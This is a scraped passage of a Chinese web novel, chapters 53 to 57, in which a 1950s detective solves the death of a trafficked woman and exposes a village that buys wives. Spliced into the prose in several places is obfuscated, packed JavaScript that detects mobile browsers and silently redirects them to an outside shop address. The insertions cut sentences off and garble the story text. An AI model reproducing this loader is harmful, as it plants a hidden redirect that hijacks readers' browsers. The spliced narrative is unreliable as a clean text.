不过顾昭蕙也没有抱太大希望，因为这种大厂的汽车司机，待遇都是很好的，他们没有必要冒那个险。 跟轧钢厂保卫科见了面，将情况说一下，当然没有说的太细，只说查一个案子，保卫科的人很配合，主动带着他们去大车班。 “现在留家里的就有七辆车。剩下的都出去了。最快也要后天回来。”保卫科科长老王说道。 顾昭蕙点点头，“我们先看看这几辆车。” 当她看到大车的时候问了一句“你们这大车上面还弄了遮棚？” 王科长点点头“我们有时候运送一些零件，也是怕雨水的，这几辆车是往南方分厂去的，那边雨水勤，所以这上面就弄了棚子，这样如果遇到大雨，只要把下边收一下，就可以遮挡，省事。跑长途也不容易。” 顾昭蕙点点头，先看了一辆大车，这还是早些年收缴的军车，不过已经很旧了。 “我们这里都是老车，听说春城那边已经开始生产新卡车了，到时候我们也能换新车，这批车就要淘汰了。”说话的是大车班班长，叫焦志。 确实如此我国第一辆国产卡车明年就要出厂了。顾昭蕙每辆车都上去看看。 一会就看到第六辆车，她上来之后突然问到一股味道。顾昭蕙抽了抽鼻子，然后往车头方向走去，越走味道越清晰，是一股骚臭味。味道不是很重，但是她还是能闻到一点，就像是厕所里用了时间长了，就算清洗干净也是有点味道的。 顾昭蕙蹲在车斗里仔细观察后车斗，这后车斗都是铁的，可能用的时间长了到处都是锈迹，不过顾昭蕙发现车前面有个分界线，不是很明显，如果不是特意注意就不会发现。靠着车头有差不多八十公分左右宽的地方，这里应该是放着箱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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几个人将所有的这种折叠铁皮拿出来，顾昭蕙挨个检查，然后就在一个铁皮的边缘发现一丝血迹。 “这个拍照带走。这辆车是谁开的？”顾昭蕙问。 焦志这会也觉着不对劲了，说哈有点磕巴“是老曾，曾光明，还有他小徒弟，曾亚强。” “曾光明，曾亚强，两个人是亲戚？”顾昭蕙问。 焦志点点头，“曾亚强是曾光明的侄子。” “他们俩现在在哪呢？带我们去。” “曾光明替人出车了，一组大师傅生病了，曾光明开车稳当，就让他替班了，正常的话，他后天就回来了。”焦志说道。 顾昭蕙皱了皱眉头，想带我们去找曾亚强。 抓捕曾亚强不是很困难，他出车半个月，正在家放假，去抓人的时候正在吃饭。 曾亚强是个年轻人，看起来也就十七八岁，一问果然才十七岁。 “我真是第一次跟我叔出车。我也不知道他从那弄来的那个女的。我叔说以后就知道了。”曾亚强年纪小，一进审讯室就吓瘫了，一问就什么都说了。 “我真的不知道怎么一回事，人是半路上送上来的，捆着手脚，放在箱子里然后上边用被子盖着，一路上也没人查，到了野外就把人放下来吃点东西。后来我们快到京城的时候就拐到一条小路，我也不知道那是个什么地方，当时天很晚了，那天挺冷的，我喝了点酒就睡了，早上起来的时候人就不见了。” “我真不知道是谁把人带走的。” 顾昭蕙拿出死者的照片，“你看看是不是这个人？” 曾亚强歪着脑袋瞥了一眼，整个人吓得都哆嗦了。 “认真看。”顾昭蕙用手点了点照片。 曾亚强小心的瞥了一眼，然后缩回脑袋点了点头“是她。” 54. 第 54 章 第五十四章 “曾亚强那里没有得到更多的消息，曾光明那里已经去长途电话，看看能不能从那边直接诶截住，如果不行，就得等到他回来，有点麻烦，怕走漏消息。”顾昭蕙再次来到千岁村，对齐云松说了一下最新进展。 齐云松点点头“问题不大，消息没那么快流通。”顾昭蕙想想也是这年代可没什么手机，打电话都费劲。 “你这里怎么样？”顾昭蕙问道。 “已经找到第一现场，跟你预计的一样，房子的位置就在村东头的一处空房子里，那处房子在村子边上，很隐蔽不会有什么人过去，下雪天的话会更隐蔽。我问过村长，那处房子已经空了几年了，主人家早就不知道是谁了，因为一家子都得了病死了，房子也没人敢去，所以就空着。我让王浩他们找人看着不让人接近，就想等你过来看看能不能看到些线索。” 顾昭蕙点头“走，我们过去看看。” 两个人走到案发现场，市局法医这段时间挺忙的，本来跟组的段洪昨天忙完这个案子的尸检，就去一组忙活了，听说那边也发现一个凶杀案，还是个挺复杂的案子，所以将人调过去帮忙了。 他们这边人手就有点不够了，与其让下边的半吊子现勘过来，还不如顾昭蕙自己上。实在是这年代好的法医太少了。 王浩和一位不认识的警员在门口待着，他们俩也不敢进屋，直接在附近一处空地拢了个篝火，就是这样俩人也冻够呛。这位王所还真是不错，这几天一直跟着案子，一直帮助他们走访，很是尽心。 顾昭蕙跟两人打了招呼，然后就进了院子，院子围墙是那种土围墙，已经坍塌许多了。院子里更是荒凉，从大门口就能看到屋子窗户都破了，但是用破木板钉上了。搂着一个个拳头大的孔洞。房顶也塌了一半。 顾昭蕙看了看地上，因为下雪的关系，已经无法看到下边的地面，而且可能进去探查，踩过一遍，不能取脚印了。 走到房屋门口她再次从兜里掏出鞋套穿上，然后走了进去，齐云松也跟在他身后穿上鞋套，他跟王浩说了一声，让他们俩现在外边等一下，之前他没有跟来，不过已经说了如果发现可疑的房屋，先别进去，等他过去处理。就是为了更好的保护现场。 “这边大门我们没进入，之前就在窗户那边看了一下，看到屋子里有血迹。”齐云松说着指了指旁边的窗户。 顾昭蕙已经发现了，窗户底下有脚印。 她先看了看大门，“这里有链锁的痕迹。”她指着门框，上面有很清晰的摩擦的痕迹，还有一些铁锈。齐云松点头将那个地方用照相机照下来。 “连锁被拿走了。”齐云松说道“他们放弃这个地方了？” 摇了摇头，顾昭蕙也不确定“或许只是觉着那个东西比较值钱。” 齐云松了然的点点头，如今物资匮乏，自然什么东西都是好的，之前锁人，之后人都没了，就得拿回家了。 推开门，顾昭蕙照例检查地面的鞋印，“他们都没有进来？”顾昭蕙问的是王浩他们。 齐云松点头“我明确的跟他们说过，他们也说没有进来。” 顾昭蕙从挎包里拿出手电，对着地面照了照“这两个脚印不对。”这脚印有覆盖，下面那层应该是凶手留下的，脚印已经干掉了，上面那层则是后来大雪之后进入踩出来的。 她细看了看，眉头皱了皱，拿出尺子进行测量，“三十八号，女人的脚印。”将具体数据测量之后，又寻找两枚单独的脚印，一个人的脚印。 仔细观察脚印痕迹颜色，大脑计算脚印的公式疯狂运转，几种办法全都运算一遍“女，身高一米六三至一米六五，体重七十至七十二公斤。走路有外八字，右脚重心，右脚右侧鞋帮磨损严重。穿的是自家纳的千层底。” 齐云松那笔将这些东西记下来，顾昭蕙如果在现场说出数据，那就是给他说的，因为这些线索她都能记下来，所以齐云松已经习惯了每次进入现场都记录的习惯。 顾昭蕙拿过照相机，用手电打光，自己调整角度进行照相，还拿出一张人民币进行对比。 然后再查看下边的脚印，那层脚印就有点浅，不过凶手可能都没有掩藏痕迹的概念，所以这些脚印能留下来，“男四十一号鞋，身高一米七至一米七五，体重七十三至七十八公斤。男四十号鞋，身高一米六八至一米七二，体重六十五公斤至六十七公斤，穿着棉胶鞋，鞋子应该是京城鞋厂今年新出的那种胶棉鞋，鞋底纹路清晰，是新鞋。” “前边这个数据似乎有点宽泛。”齐云松一边记录一边说。 顾昭蕙点点头“他穿的也是自家做的鞋，应该不合脚，或者已经穿了两年，鞋子大了，所以数据有点不准。另外这边有两个相同脚印，但是身上明显负重，应该是带着死者。两个人抬着走的。” 顾昭蕙这会功夫已经看到好几个脚印了，然后她停留在后边的脚印上，“这边脚印有负重，两人应该是抬着受害者尸体出去的。” 将外间所有能确定的脚印都进行标记照相，手上缺少东西，没有办法提取脚印，不过也没有关系，她将几个脚印都画下来，这里地面是泥土地面，上面还有一层灰，加上踩脚印的时候鞋上都有泥水所以很容易就留下脚印。 这房子有东西屋，但是东屋明显已经塌了，大门都堵住了，所以他们直接进了东屋，东屋门口也看到了锁门的痕迹，甚至上面的门鼻都是新钉的。 “是新的去镇上商店或许可以查到。” 打开门，顾昭蕙就看到屋子里地面有一些血迹，还有炕上也有一些血迹，窗户那里也有血迹。那边被钉了木板，受害者似乎想要从木板缝隙那里打开，结果只是将手弄出血来。 她之前检查尸体的时候也发现了，手上有些破损，都是新伤，现在看来并不全是约束伤。 炕上有绳子，顾昭蕙看到了窗台上有磨痕，死者利用窗台破掉的地方，磨掉绳子。所以她当时在这里挣扎了许久才将绳子磨掉。 她回顾四周发现屋子里什么都没有，没有可以破坏的工具，所以就算手脚得到自由也没有办法逃离，然后就在这漏风的房子里，一点点失温，直到彻底没了温度。这中间至少经历十个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12985657|130848||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小时。 “这屋子里缺少点东西？” “你是说衣服？”齐云松问。 顾昭蕙点点头，“死者在生命最后时刻，大脑产生幻觉，神经紊乱，最后将自己的衣服脱掉，如果凶手过来发现这个情况他们肯定是想将人扔出去，以免有人怀疑到他们，可是死者周围没有衣服。这里也没有，难道他们拿回家了？” 齐云松突然想到顾昭蕙刚才说的那个脚印“会不会是那个三十八号脚的女人？” “有可能。不过这个地方这么偏僻，他们完全你没有必要将人扔出去，他们这么做恐怕是怕有人通过这里联想到他们。所以这个屋子也是个线索。还有这个三十八号脚的女人，或许也知道点什么。” 屋子里的痕迹已经找不到更多的线索，虽然顾昭蕙在门上也发现了几个模糊的指纹，但是在木头上取指纹，这个年代还没有那么成熟，不过这些线索也够了。 出来之后让王浩直接将现场封上。 顾昭蕙正想跟齐云松去附近房子看看，就看到李想和吴非两人骑着自行车过来了。” 等两人到了跟前，下车，“怎么样？有什么收获？” 李想和吴非将围脖从脸上拉下来，脸上都是红彤彤的，冒着热气，显然骑车骑的出汗了“我们走访了最近的两个村子，没有太多的收获，不过在前边齐家屯，听他们那边的一个大娘说，千岁村这边有好多外地媳妇。后来我们又找了几家特意打听了一下，他们都有点不敢说，含含糊糊的，好像是说这边的外地媳妇都是买来的。” 顾昭蕙点点头，这个消息并不意外。 “行，我们这边也有很大的收获。”顾昭蕙对着齐云松一仰头，让他介绍一下情况。 齐云松直接将抓捕曾亚强，还有关于曾光明的事情说了一下，又说了这边现场勘查情况，得到的信息，都跟他们俩说一下。 “现在我们直接排查一下，千岁村，尤其是附近几家，看看能不能找到那个三十八码脚印的主人。”齐云松说道这里有点犹豫的说“我们是不是再调点人过来，如果进村排查恐怕没那么好抓人。” 听他这样一说，顾昭蕙也反应过来了，这个案子涉及妇女买卖，村子里既然不是一家人这样那么如果他们去抓人，或许就捅了马蜂窝了。 “不对。”顾昭蕙脸色一变，“你说，我们在这边发现了犯罪现场，那么凶手是否知道？还有村子里不让尸体进村，这没有问题，那么昨天尸体已经送走了，那么村长为什么不让你们进村子住？接待上边工作组都不会这么潦草吧。最主要的是咱们办案竟然没有人围观？”顾昭蕙突然发现问题所在，要知道国人最喜欢看热闹，每次去案发现场都是里三层外三层的围着，怎么她到这里这么长时间，竟然没有人过来看热闹。 齐云松脸色也不好，他抬手看了看手表，“我记得这附近好像个团部，我去叫救兵。” 顾昭蕙点点头，已经五点了，天就快黑了。“到了隐蔽，直接在小屋那边，希望我想错了。” 李想脸色煞白“不会吧。京城附近还能发生这样的事吗？” 55. 第 55 章 第五十五章 时间已经到了晚上顾昭蕙几人吃了饭，顾昭蕙想了想,“咱们今天晚上还是别在这了。”王浩和他的同事已经回家了，顾昭蕙心里多少有点危险的感觉。 她说着让几人将被褥等包裹拿了出去，然后几个人直接去了地里，几个人拿着工兵铲挖坑，几个人合力用了一个多小时挖了一个大坑。足够四个人的，提前在屋子里的炉灶下烧了碳，拿过来在坑中间弄了个取暖的地方，四个人就裹着棉袄被子躲在下边，坑底没有风，中间的碳多少能有些热度，几个人倒也没那么冷，四个人轮流守夜，决定在这待一宿，虽然另外三人不知道顾昭蕙为啥这么做，但是这段日子以来已经明白，这位组长脑瓜不是一般人能比的，服从命令已经成了习惯了。 顾昭蕙是被李想拍醒的，她头上带着帽子，身上蜷曲着，这会醒了身上都是僵硬的，还好除了脸上其它地方还算暖和，晃了晃脑袋，“什么情况？”她是第一个守夜的，所以这会被叫起来肯定有情况。 “有狗叫声。”李想说着。那边张燕山正趴在坑边上往那边道路上看。 “有人来了。”顾昭蕙往路上看，就看见不远的地方有人似乎拿着手电，现在没什么污染，天空的月亮亮的很，能看到影影错错的有七八个人。 顾昭蕙滑到坑底用手电小心的照了一下手表，“他们还挺会选时间的，现在正是半夜三点钟，这个时间大家都是睡得很熟的。” 他们四个人没有动，顾昭蕙想了想拿着手电在道路反方向照了一下，然后就将手电给熄灭了。 过了一会那边的林子里传来同样的一下闪光，这闪光角度很刁钻，冲着这边，大陆那边的人没有办法发现的。 顾昭蕙心下一定也不着急了，“没事，咱们的人来了。”之前她跟齐云松商量好了，如果人带来了，就躲在那边的林子里，看看情况再说，其实她虽然怀疑村子有问题，但是她是不怎么相信那些人对他们动手的，毕竟如果他们几个出现问题，那么事情就闹大了。真这么做就是傻子了。叫人过来也是为了明天天亮后进村子排查。 做这些准备工作也是防范于未然，谁想还真有傻子。难道他们觉得将他们灭口了就能掩盖事实吗？ 她已经没有办法了解这些人的脑回路了，但是她也讲这件事情当做一次经验，以后考虑事情要更仔细。 胡思乱想间，顾昭蕙发现来人很谨慎，来到房子附近，就去旁边的柴火垛那里抱柴火，他们离得不算远，但是也没听见多少声音，看来是想防火烧房。 顾昭蕙这时注意到另外一边来了一些黑影，小心的摸了过来。 过了一会，房屋前面，突然烧起了火，“不许动。” 与大火同样出现的是一群战士。每个人手里都端着木仓。对准这几个人。 这几人都被吓了一跳，然后就往四处跑去，接着就被人给扑倒抓获，另外一些战士拿着铁锹利用地上的积雪土块，将火给扑灭了。 顾昭蕙看已经结束了战斗，就从坑里爬了出来，活动活动已经冻僵的双腿，跺了跺脚，亏着齐云松给她这双鞋，不然脚非要冻伤不可。 这次抓捕很顺利，没有开木仓。顾昭蕙带着人走了过去，远远的就看到齐云松迈着大步走过来。 “你们几个在野地待一宿啊？”齐云松问。 “是啊，你们不也是？” 齐云松摇了摇头“我们那边搭了帐篷，早知道你们在这边野地里，叫你们过去好了。” 顾昭蕙笑了笑，“还行也没那么冷，我们挖了坑，走看看都有谁？” 走过去还真有个熟人，就是那个给他们送饭的村长的儿子。 “嘿，我们还真没冤枉人。”本来关于村长是否参与这件事情的事，顾昭蕙他们还是存疑的，但是这会已经不用怀疑了。 “分开询问，确定买卖人口的人家，另外都有多少人参与事情，你带多少人过来？能不能把村子围上？”顾昭蕙问。 “一个连的人。”齐云松说道。这时旁边来了两个人，都差不多三十岁左右，“我给你介绍一下，这是石联峰石连长，这是范易范指导员。” “这是我们市局刑侦一大队三组组长，顾昭蕙同志。” 顾昭蕙上前与两位握手。两位同志也十分客气，说实话两人没想到他们刑侦组组长会是一位女同志，还这么年轻。 寒暄几句，就开始说起了这次任务，“石连长，我希望你能派出一个排的人封锁村子，另外两排人跟我们进去进行排查。” “一个排的人会不会少，这个千岁村不是个小村，据我所知村子里有一千多人，而且村子道路四通八达，就怕漏了口子。”石连长觉着封锁村子应该再派些人。 顾昭蕙从衣服兜里掏出一张纸，用手电照着，“这是我白天探查的村子道路情况，这上面画了黑点的地方就是封锁的位置，只要将这些黑点位置占领，村子封锁就没有问题。”村子她白天看过，地形图画的非常详细，而且只要她走过的地方，距离位置就不会错，所有数据都会在脑海形成，所以这张图几乎可以当做卫星地图来用了。 而且她也根据李想吴非他们走访的情况，将村子里重点位置标记，考虑总总情况，最佳封锁点都算计好了。 石连长看着十分清晰地地形图，好像是从天空中照下来一样，每个道路情况都画的非常清晰，甚至什么地方有什么东西都有标注。 “还有就要注意村子里会有人有木仓的情况。”没办法谁让这年代还没有收缴武器呢，四九年刚过去几年，很多武器都散落在外，所以要特别小心持木仓情况。 “我们会注意。”石连长说道。 顾昭蕙点点头，“那请石连长你们先带一部分在外围包围警界，我们先审问一下犯人。”她说完又看向齐云松，“在前面烧一堆火，估计村子里有人会看。” 齐云松点点头“好的。” 之后就是快速审讯，一共七个人，顾昭蕙他们想要分开审讯，她走到几人面前，旁边的大火突然将这边照亮，她突然眼色一遍，走到其中一个男人面前，“你叫什么？”面前的男人身高一米七三看体型有一百五十多公斤。看他的脚上穿着一双已经有点破的棉布鞋。 顾昭蕙眯着眼睛拿着手电照了照男人，那个男人躲着灯光往旁边躲了躲，“叫什么？”她又问了一句。 “王二狗。”男人躲闪着说。 “你哥呢。在哪？”顾昭蕙再问。 男人抖索了一下没说话。 齐云松正好走过来，从后边一脚踹到他腿弯，“问你话呢。”他喝了一声。 “他，他在家。”王二狗一个趔趄都跪在地上，整个人哆哆嗦嗦的交代。 顾昭蕙从兜里又掏出一张地图，“在那里？” 王二狗抖的跟筛糠似的“在东头第二趟街第三家。”顾昭蕙拿出铅笔画了一个圈，“是这里。” 王二狗看了几眼，点点头，“对。” “有什么标志？”顾昭蕙问。 “他家柴火垛比较高大，在屋子东头。” 顾昭蕙对着身后压着他的两个战士说了一声，“把他带到屋后，等会单独审问。” 然后又看了其它几个人“带到那边场地，等会审问。” 等人都分别带走，顾昭蕙对着齐云松说“这个王二狗就是其中一个案犯，穿四十一号鞋的那个，脚上鞋子和现场痕迹非常吻合，可以取样比对，身高体重也对的上。” “我判断的没错的话，另外一个就是他哥哥。这是住址，等会进村，要第一个控制。” 齐云松接过来，看了一下位置，很容易就记下来，然后将地图交还给顾昭蕙。 “不用你留着吧。”顾昭蕙没接。 “你怎么知道那个人是他大哥？”虽然已经在一起办案这么长时间了，但是有些时候还是跟不上她的思路，似乎只是确定了这个犯人，然后她的几个问题，就问到了事情关键。很意外。 “这个人一看性格就不是那种果断聪明的，他应该属于那种听命行事的人，没有主见，这样的人往往属于被支配者，同时他对某一个人会很听从，甚至盲目，一般情况下能让他这样跟谁的都是父亲哥哥一类的，结合咱们的案子，与买卖女人有关系，我更倾向于他兄弟，还有就是那双新鞋，看他脚上的鞋，应该是她母亲给做的，是那种千层底的鞋，一般这样家庭里的老年人应该会穿千层底，而不是胶底新棉鞋。太过时髦了。他看年级也就二十一二岁，所以那个支配者应该不是弟弟。所以我猜测是他大哥，看他回答的表情与口气，我猜对了。”顾昭蕙说着往屋后走去。 “如果你猜错了，并不是他亲兄弟而是外人呢？”齐云松问道。 “猜错也没关系，审讯一下就行了，看他的样子，并不是那种坚持不开口的。”顾昭蕙随意的说道。 齐云松听了笑着摇了摇头，去另一边找人审讯去了，他们几个人每人负责一个人。石连长他们也过来帮忙，很快就有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12985658|130848||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了结果。 王二狗果然很好审，被抓后，他人已经崩溃了，很快就交代了，事情的经过。 王二狗的哥哥今年已经二十五了，没有媳妇，当然王二狗的哥哥也不是找不到对象，就是他心高，前些日子村长的儿子从外地弄来一个大学生，那长的特别漂亮，还有学问，村长儿子跟他闲聊的时候就说了一些让人羡慕的话。他就有了心思。 然后就找村长买了人，前些天人送到了，可惜这女子特别烈，说什么不肯跟他哥同房，他娘就说把人关几日，饿一饿，就好了。 村里那么多女子不都这么过来的。他们也不想把动静闹大了，现在不像以前了，前段时间还有工作组下来，进行宣传，还宣传什么妇女保护啥的。 所以他们就把人扔到那屋子里去了，屋子门窗都锁好了，他们就回家了。 之后白天邻村有亲戚家娶媳妇，他们去吃酒，去了一天，再去那屋的时候都是第三天早上了，谁想到人就死了，尤其他们当时看到人死的样子，有点吓人诡异，但是他们俩都有点害怕，就趁着外边大雪将人用麻袋片子裹了送上山了，本来还想再往上送远点，但是当时听见山里有哭声，俩人都害怕了，就把人往那一扔，人就跑回家了。 “你们用麻袋片子裹着尸体，那麻袋片子呢？”顾昭蕙问。 “拿家去了。”王二狗说。 顾昭蕙看着他“怎么一个麻袋片子还不舍得？” 王二狗缩了缩脖子，“那是家里盖粮食的。丢了怪可惜的。” “那受害者衣服谁拿去了？”顾昭蕙问。 “不知道，我们回去的时候就没了。不知道被谁拿走了。当时我们有点害怕，我哥就拉着我回家了。” 另外几个人问话也算顺利，除了村长儿子以外，招的都挺快的。这几个人都是家里买媳妇的。 顾昭蕙几人看到口供，一个个的都皱着眉头。 “走吧，先把主要的几个人抓了，封锁村子，然后再讨论该怎么处理。”实在是这里边问题太大了，也太复杂。 很快将村子封锁，然后直接带人进去抓人，主要是村长还有会计另外两个涉案较深的，包括王二狗他哥王大奎，因为是早上天没亮抓的人，所以还算顺利，至少没有弄得全村暴动的程度，但就是这样，听到声音起来的村民，也十分激愤，好在知道事情有点难办的石连长让人回去叫人了，之后又来一个连的士兵，将村子里情况安稳下来了。 但是案子也不是那么容易的，顾昭蕙这边也派人回去调人，从分局调来一些同志，还找了妇联的人过来。 事情总算一点点的解决。 千岁村买媳妇在多少年前就有了，他们村子男孩出生多，几乎没有女孩，有人说他们村风水好，可是这种都生男孩也有问题，村子里已经好多年没有女孩出生了，每家都好几个儿子，确实是好劳力，但是到结婚的时候才发现，媳妇不好娶。 四九年前买卖人口几乎没人管，那时候逃难人也多，所以村子里就习惯的买媳妇，四九年后，国家明确规定不准买卖人口，他们开始还听话，可是等一年多不到两年的时候他们就发现村里的小伙子开始打光棍了，就又起了心思。 他们村长虽然是上边任命的，但实际上也是他们村子坐地户，他家媳妇，他几个兄弟媳妇都是买来的，所以对于这个事情，他也是赞同的，就不觉着有什么问题。 可是这年代不允许买卖人口，他就联系了曾光明，说起来曾光明还是从他们村子出去的，只不过比较早，大多数人不知道而已。 当时正赶上曾光明家里出了事情需要一大笔钱，他就冒险干了，他开始的时候是从南边找人买了女孩，那孩子是父母给卖的，女孩懵懵懂懂的就跟着过来了，当时虽然是买的人，但多少算点自愿，女孩就是过来嫁人的。 事情就顺利的解决了，不过村子里需要媳妇的多了，曾光明一时也弄不来那么多女孩，然后南边那边牵线的人，就起了心思，可能想着送到北边来，人也回不去了，所以胆子大起来，干脆遇到合适的，就迷晕，直接让曾光明用车带回来，之后这边给的钱，两边直接给分了。 就这样，只四年时间，曾光明就带来十九个女孩。除了三个是家里父母收了彩礼，把人送来的，其它十六个全是被拐来的。 这些被拐来的女孩，有反抗的，直接关小黑屋，饿几顿，差不多就屈服了。不然就是严加管教拳脚相加，总会屈服，毕竟她们就算逃出去也无法回去了。 56. 第 56 章 第五十六章 这个案子果然很复杂，曾阳光在外地被扣下了，当地派人将人送回来了。 通过审讯顾昭蕙才发现，这个曾阳光名字阳光人一点也不阳光，只四九年之后他就从南边拐卖了至少三十名年轻女性，跟他有联系的村子就有七个，而且与千岁村不同的是，千岁村因为男孩多所以才娶不到媳妇，而外面那几个村子，却是因为某些原因娶不到媳妇，残疾痴傻，这年代娶媳妇成本没有那么高，有的地方只要有口饭吃就行了。 这些被拐卖的妇女也不是那么容易处理的，这个顾昭蕙没有参与，但是顾昭蕙听说千岁村最近被拐卖的媳妇竟然只有两人愿意回家。他们都怕回去了日子更不好过。至少这里有政府介入，婆家人也不敢像以前那养压榨他们了。这就是好日子了。 顾昭蕙从来没有想过会是这样的结果，也第一次感到了这年代人的生活。 案子是结束了，顾昭蕙病倒了，与她超强大脑相比，她的身体还是有些弱了，这几天来回奔波，汽车漏风，加上那天晚上在野地里躺那么一宿，等案子了了回京城就发烧感冒了。 实在起不来了，就请了假，早上田静兰走的时候给她准备了粥，不过顾昭蕙实在起不来，身上疼的很，体温三十八度七对她来说已经是高烧了。 吃了去痛片，喝了点水，就躺下了，迷迷糊糊的似梦非梦的好像听见有人叫她，好像有人进了屋子，来人叫她，她眼睛面前雾蒙蒙的什么都看不清，只觉着面前的人穿着一件绿色的毛衣，竟然有点像当初蒋永兴穿的那件，蒋永兴回来了？来人似乎跟她说什么，她没听清。那人摸了摸她的额头，感觉那手温凉带一点点潮气，之后就感觉他给她穿了大棉袄，然后就什么都不知道了。 再次醒来，发现自己竟然在医院，手上打着点滴，仰着头看着点滴瓶里的点滴顺着黄色的胶皮管子流下来，她想着胶皮管子好像不是一次性的，用完消毒然后继续用。也不知道能不能彻底消毒。 “你醒了？”突然齐云松的脸出现在她面前。 “怎么来医院了？”顾昭蕙说道。 “要不是松子去家里看你，你这会都烧傻了。”田静兰这会从外面进来。 顾昭蕙觉着有点迷糊，眉头皱了皱，“没这么严重吧。” 田静兰将手上拿着的饭盒放下“怎么不严重，你知道你吃的那个药已经过期一年多了，吃了没有任何作用。送到医院后你体温都三十九度八了，要是等我中午回去，估计你不烧傻，别的地方也得有问题。”田静兰一下说了一大堆。 顾昭蕙笑了笑，看向齐云松“谢谢你啊。” 齐云松看着他扯着嘴角，“没什么。”他情绪似乎不是很高，说完，就站起身，拿着床头的热水壶“我去打点热水。” 田静兰奇怪的看着他离去的背影，“这孩子怎么了？好像有什么心事？” 顾昭蕙也觉着他似乎有点不对，但是也没多想。 齐云松看着水管里流出的水，脑海中想着早上的事情，听说顾昭蕙请假后，他忙完手头上的事，就跟周柏说了一声，去蒋家看看，等到了地方，敲门没有人开门，他推门进去，发现顾昭蕙满脸通红的躺在床上，身上已经烧的火热，他叫了几声，发现顾昭蕙睁开眼睛，但是似乎已经烧迷糊了。他正想说什么，就听见她说‘永兴，你回来了。’ 他无法形容自己听到这句话时的心情，他说不上来什么滋味，接触这么长时间以来，从来没有听她提过永兴，也看不出来她对永兴的留恋，甚至他们一起去祭拜的时候，她甚至表现的有些平淡。 可是现在看来不是不想念，不是不思念，不是不爱恋，只是将感情埋藏在心底罢了。 “水满了。”后边打水的人提醒了一声。 齐云松将水关好，然后盖上盖子，拎上水壶离开，他或许并不了解她，或许他本来也不该觊觎兄弟的爱人。 顾昭蕙在医院打了两天点滴，田静兰带她去医院里最权威的中医，董老先生，让老先生给她把了脉，没想到老先生倒是给她把出一些问题，主要就是大脑太过活跃，需要更多的营养，身体对营养吸收有些差“是不是白天如果用脑过多，晚上脑袋有疼痛的感觉？” 顾昭蕙觉着有点神奇，中医真的能将她的症状都看出来。 “你这个不算是病，但是长时间下来，就会造成身体营养不良，抵抗力差，容易有病，冷着热着都容易感冒什么的，而且病起来比别人更重，我看你这个症状也是最近才有的，这样我给你开两幅药，一副是调节脾胃促进吸收，把身体养起来，另外一副是补脑的，这个补脑的，也算是药膳，可以经常吃，我看你也是脑力劳动者，经常吃着对你也有些好处。”老先生说着就给顾昭蕙开了药方。 回家后田静兰给她把药煎上，那个补脑的方子里边也没有几样药材，但是加了一些补脑的食物，一起煮，味道虽然有点奇怪，但是喝了之后确实有效，顾昭蕙就觉着第二天早上起来大脑特别轻松。 齐云松听田静兰说的，顾昭蕙这次生病不单单是冻的，还有身体抵抗力低造成的结果。还说医生给开了补脑的药。 转天就送过来，半麻袋核桃和榛子，另外还拿了两个鲢鱼头，那真是大鱼头，一个都有十几斤。当天田静兰就把一个鱼头分成四份，拿出一份专门给顾昭蕙炖了，剩下的就挂在外边，还说专门给她补脑子。 这几天生病，顾昭蕙感受到家人的意义，他们对待她的真心，就像对待自己女儿一样，在这种温暖中顾昭蕙发现自己已经在不知不觉间把他们当做亲人了。 齐云松这几日倒是很奇怪，送了两回东西，都是来也匆匆去也匆匆，似乎很忙的样子，都没有留下吃饭。 等顾昭蕙身体好了上班，才发现齐云 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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顾昭蕙对于工资不那么执着，十级工资五十三，在这个年代是高工资了。现在是五五年，马上五六年，离八十年代还有二十多年，在这期间，人们生活全都靠国家分配，她本身也没有太多的物质追求，她也不缺什么东西，衣食住行，国家几乎都给解决了，那么她只要做好自己的工作就可以了。 过了元旦，就快要到农历年了，顾昭蕙手上有几个案子，不过都是很明了的案子，几乎到现场探查一番，就能确定嫌疑人。一目了然。 齐云松一直没回来，前夕日子田静兰生日，他从外地打了个电话到医院，给田静兰祝贺个生日，然后说事情办的差不多了，小年前应该能回来。 前些日子田静兰说单位的程医生想给顾昭蕙介绍对象，顾昭蕙当时不乐意，不过不知道是不是真的看重顾昭蕙，程医生又跟田静兰提了一下，还说小年前人回来，希望能见一面，她跟对方把顾昭蕙情况说了一下，对方也同意相看了。 田静兰回来说了一嘴，还劝她去看一看，顾昭蕙也觉着人家说了一次又一次的，那就看看吧，反正她没啥想法。看看也不耽搁啥事。 就这样两人见面的时间就定在小年的前一天，因为顾昭蕙还要上班，所以他们两个约定时间在当天下班后，两个人在什刹海溜冰场，现在正是溜冰场红火的时候，那边都是年轻人，两个人去见面也不会尴尬。能找到一些话题聊，如果感觉不错，还能去旁边的公园转悠一圈。 57. 第 57 章 第五十七章 程昱是田静兰医院程医生的侄子，今年二十七岁，他人虽然长得不算英俊，但是看起来很稳重，具有军人气势，听说已经是团长了。 程昱本身对于婚姻没有太多想法，这些年一直在战场上，他能走到今天这一步都是用军功换来的，他以前也有个爱人，是战地医生，两人相爱相知，可惜她再一次袭击中被子弹击中牺牲了。 